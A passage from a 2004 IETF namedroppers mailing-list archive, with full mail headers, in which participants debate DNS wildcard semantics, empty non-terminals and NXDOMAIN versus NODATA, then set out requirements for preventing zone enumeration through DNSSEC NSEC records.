X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Wed, 08 Sep 2004 00:28:49 -0400
From: Kevin Darcy
Message-ID: <413E8A81.7000502@daimlerchrysler.com>
| I was considering the difference between an NXDOMAIN and a NODATA
| response to be a significant one.
I agree, it is.
| Admittedly, there isn't much
| difference from the perspective of a garden-variety app calling
| gethostbyname(),
which is what I meant by "no functional difference" which isn't the
same thing as "no difference".
| or whatever, but I was under the (possibly mistaken)
| impression that this difference mattered from a DNSSEC perspective.
Yes, internally, in the DNS, they're totally different things.
| At the very least, isn't part of the justification for having a concept
| of "empty non-terminal"s at all (a concept that I think belongs to an
| old-fashioned "tree" paradigm rather than the more modern
| index-into-a-database paradigm, and therefore rather difficult to convey
| to novices who often aren't so steeped in hierarchical design models)
Old fashioned or not, the DNS is a tree design. Attempting to interpret
or explain it any other way can only lead to problems.
| the alleged ability of a caching resolver to "prune" the namespace, so
| that queries for names underneath a "branch" that is known to not exist
| at all (i.e. an empty non-terminal) can be automatically answered in the
| negative without having to incur a subsidiary query to the authoritative
| servers for the zone?
[Aside: I assume the parenthitical remark was "not an empty non-terminal" ??]
But from where does this supposed intent to allow resolvers (caches) to make
that kind of conclusion arise? I certainly favour no such approach.
A negative answer is a negative answer to a particular query, and nothing
should be attempting to draw conclusions about other queries.
| If we're going to consider NXDOMAIN and NODATA to
| be functionally equivalent,
Only functionally equivalent ("the data you wanted doesn't exist")
not equivalent.
| then I say let's go all the way and just
| abolish the notion of an "empty non-terminal" altogether. K.I.S.S.
What is simple in this area isn't always obvious. In particular,
attempting to explain just why some names that don't exist can have
descendants, but others can't would be an interesting experience.
(as in, you can have x.y.example.com without y.example.com, but you
can't have x.example.com without example.com existing).
It is better (and simpler) to simply require that a name exists if
any sub-domains of it are to exist.
| If, on the other hand, NXDOMAIN and NODATA are not, "[f]or all practical
| purposes [...] exactly the same", then the spec should either a) refine
| the lookup algorithm to *only* give special meaning to asterisk labels
| that are part of "wildcard"s,
That should certainly happen - in fact, that's what the spec currently
says, all you need to do is read 1034 (4.3.2, and 4.3.3) as it really
is quite clear about how the things work, and where special meaning gets
attributed to '*'.
| or b) broaden the definition of "wildcard"
| to include any name with an asterisk label in it.
This isn't an alternative, it is true as well, any name with a '*'
label is a wildcard (at one point). However, this probably doesn't
have the impact you're expecting, as wildcards are not name pattern matching
characters, they're RR generators (1034 says so) - that is, if at some
point a name doesn't exist, but a wildcard sibling does, then the RR's
at the wildcard are used to generate RR's (of the appropriate type, if
they exist) for the QNAME. That's it.
| Hopefully the new
| draft can reconcile the tension that exists between _de_jure_
| "wildcards" and _de_facto_ "names containing asterisk labels that might
| cause special behavior within the lookup algorithm".
One hopes so, especially given that there really shouldn't be any
discussion amongst us here at all about the wat this all works. Everyone
here should be thoroughly familiar with the text in 1034 - or at the
very least, willing to go read it and understand it.
The point of this draft should be to make all of this clear to people
who can't be bothered to actually read 1034 carefully enough to
understand it.
| In addition to the difference between an NXDOMAIN and a NODATA response,
| there is still the legalistic question of whether Section 4.3.3's
| prohibition on multiple asterisk labels in a "wildcard" owner name
| functionally "turns off" the special behavior that would otherwise occur
| with asterisk labels, in the case where none of the
| multiple-asterisk-labels happens to be the first label of the name, and
| therefore the name itself does not technically qualify as a "wildcard"
| under 4.3.3's definition...
That's not a meaningful question at all. Any label in the DNS is the
first label of some name (exactly one name). It is impossible to have
a label that isn't.
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 9 03:28:08 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA24905
for ; Thu, 9 Sep 2004 03:28:08 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5JHY-000FfF-Lg
for namedroppers-data@psg.com; Thu, 09 Sep 2004 07:23:48 +0000
Received: from [195.47.254.10] (helo=mail.schlyter.se)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5JHN-000FeE-Ov
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 07:23:37 +0000
Received: by mail.schlyter.se (Postfix, from userid 2038)
id 11409AC92; Thu, 9 Sep 2004 09:23:36 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
by mail.schlyter.se (Postfix) with ESMTP id 0FD84AC8C
for ; Thu, 9 Sep 2004 09:23:36 +0200 (CEST)
Date: Thu, 9 Sep 2004 09:23:35 +0200 (CEST)
From: Roy Arends
X-X-Sender: roy@trinitario.schlyter.se
To: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Hi,
I'd like to fix NSEC name leakage in order to make zone enumeration with
DNSSEC not easier then without DNSSEC.
Not at any cost though, it would be nice if we can satisfy most/all of the
following requirements (stolen from Ed's mail, thanks Ed)
Prove non-existence of name/type without
- leaking names
- introducing fake names
- on-demand cryptographic operations
- being vulnerable to replay attacks
- incompatible changes with current DNSSEC
Satisfying all requirements seems hard. If we can prioritise them, we've
come a long way.
Roy
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 9 05:23:00 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA00600
for ; Thu, 9 Sep 2004 05:23:00 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5L5O-0000ht-Ly
for namedroppers-data@psg.com; Thu, 09 Sep 2004 09:19:22 +0000
Received: from [80.91.224.249] (helo=main.gmane.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5L5B-0000gf-48
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 09:19:09 +0000
Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian))
id 1C5L59-00064H-00
for ; Thu, 09 Sep 2004 11:19:07 +0200
Received: from c494102a.s-bi.bostream.se ([217.215.27.65])
by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
id 1AlnuQ-0007hv-00
for ; Thu, 09 Sep 2004 11:19:07 +0200
Received: from jas by c494102a.s-bi.bostream.se with local (Gmexim 0.1 (Debian))
id 1AlnuQ-0007hv-00
for ; Thu, 09 Sep 2004 11:19:07 +0200
X-Injected-Via-Gmane: http://gmane.org/
To: namedroppers@ops.ietf.org
From: Simon Josefsson
Subject: Re: dictionary attack on nameservers
Date: Thu, 09 Sep 2004 11:18:52 +0200
Lines: 44
Message-ID:
References:
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se
User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux)
Cancel-Lock: sha1:dE9bC8s2g0f/ZZm1ma/kfgGv8Kw=
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Roy Arends writes:
> Hi,
>
> I'd like to fix NSEC name leakage in order to make zone enumeration with
> DNSSEC not easier then without DNSSEC.
>
> Not at any cost though, it would be nice if we can satisfy most/all of the
> following requirements (stolen from Ed's mail, thanks Ed)
>
> Prove non-existence of name/type without
>
> - leaking names
> - introducing fake names
> - on-demand cryptographic operations
> - being vulnerable to replay attacks
> - incompatible changes with current DNSSEC
>
> Satisfying all requirements seems hard. If we can prioritise them, we've
> come a long way.
For those discussions, perhaps it is useful to explain all your
requirements in, e.g., http://www.links.org/dnssec/requirements.txt so
we at least start from a common understanding of the requirements.
I still don't understand the importance of the second requirement
above, and would like to have it explained in detail in a document,
rather than trying to collect various pieces of the picture from many
e-mails.
Keith Moore recently said something worth repeating, on the general
topic of requirements:
Aside: I generally find it unhelpful to enumerate "requirements" because
these things have different degrees of importance. There's nothing
wrong with enumerating "goals" or enumerating "problems" to be solved,
but calling them "requirements" makes it seem that they're
non-negotiable and all of equal importance. We'd probably be happy with
a partial solution - one that solved the worst of the problems without
introducing harmful unintended effects -, and we probably won't find a
complete solution anyway.
Thanks,
Simon
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 9 05:34:59 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01223
for ; Thu, 9 Sep 2004 05:34:59 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5LIf-000283-Cv
for namedroppers-data@psg.com; Thu, 09 Sep 2004 09:33:05 +0000
Received: from [195.47.254.10] (helo=mail.schlyter.se)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5LHq-00023U-On
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 09:32:14 +0000
Received: by mail.schlyter.se (Postfix, from userid 2038)
id 0095CAC92; Thu, 9 Sep 2004 11:32:13 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
by mail.schlyter.se (Postfix) with ESMTP id D75F1AC8C;
Thu, 9 Sep 2004 11:32:13 +0200 (CEST)
Date: Thu, 9 Sep 2004 11:32:13 +0200 (CEST)
From: Roy Arends
X-X-Sender: roy@trinitario.schlyter.se
To: Simon Josefsson
Cc: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
In-Reply-To:
Message-ID:
References:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
On Thu, 9 Sep 2004, Simon Josefsson wrote:
> For those discussions, perhaps it is useful to explain all your
> requirements in, e.g., http://www.links.org/dnssec/requirements.txt so
> we at least start from a common understanding of the requirements.
perhaps, but I was doing the 20-lines dance to sing my current
thinking.
Roy
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 9 11:12:45 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA25806
for ; Thu, 9 Sep 2004 11:12:44 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5QSe-000DAW-Mq
for namedroppers-data@psg.com; Thu, 09 Sep 2004 15:03:44 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5QST-000D9R-W0
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 15:03:34 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 4056C1FF842; Thu, 9 Sep 2004 15:03:32 +0000 (GMT)
Message-ID: <414070C2.5080109@algroup.co.uk>
Date: Thu, 09 Sep 2004 16:03:30 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: "Olaf M. Kolkman"
Cc: namedroppers@ops.ietf.org
Subject: Re: dictionary attack on nameservers
References: <20040728190530.GA22758@atoom.net> <20040901111452.7276c683.olaf@ripe.net>
In-Reply-To: <20040901111452.7276c683.olaf@ripe.net>
X-Enigmail-Version: 0.84.2.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Olaf M. Kolkman wrote:
> I want to close this thread by giving every participant the
> opportunity to state their concluding argument in not more than 20
> lines of text.
The central idea is that people should not be worse off by deploying
DNSSEC than they are by deploying DNS, So, zone file enumeration should
be no easier in DNSSEC than it is in DNS.
That said, DNSSEC introduces other considerations, in particular the
potential exposure of private keys, so a solution should not require
private keys to be kept online.
And then there are "ordinary" DNS requirements: the solution should be
compact and minimise change to existing protocols. If it introduces
extra processing, storage or bandwidth requirements, it should also be
optional.
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 9 12:46:25 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02794
for ; Thu, 9 Sep 2004 12:46:24 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5Rwi-000N8j-LI
for namedroppers-data@psg.com; Thu, 09 Sep 2004 16:38:52 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5RwX-000N85-24
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 16:38:41 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 5A29C1FF86A; Thu, 9 Sep 2004 16:38:39 +0000 (GMT)
Message-ID: <4140870E.1060804@algroup.co.uk>
Date: Thu, 09 Sep 2004 17:38:38 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: Edward Lewis
Cc: Robert Elz , Kevin Darcy ,
namedroppers@ops.ietf.org
Subject: Re: more wild cards
References: <413920C7.3000809@daimlerchrysler.com>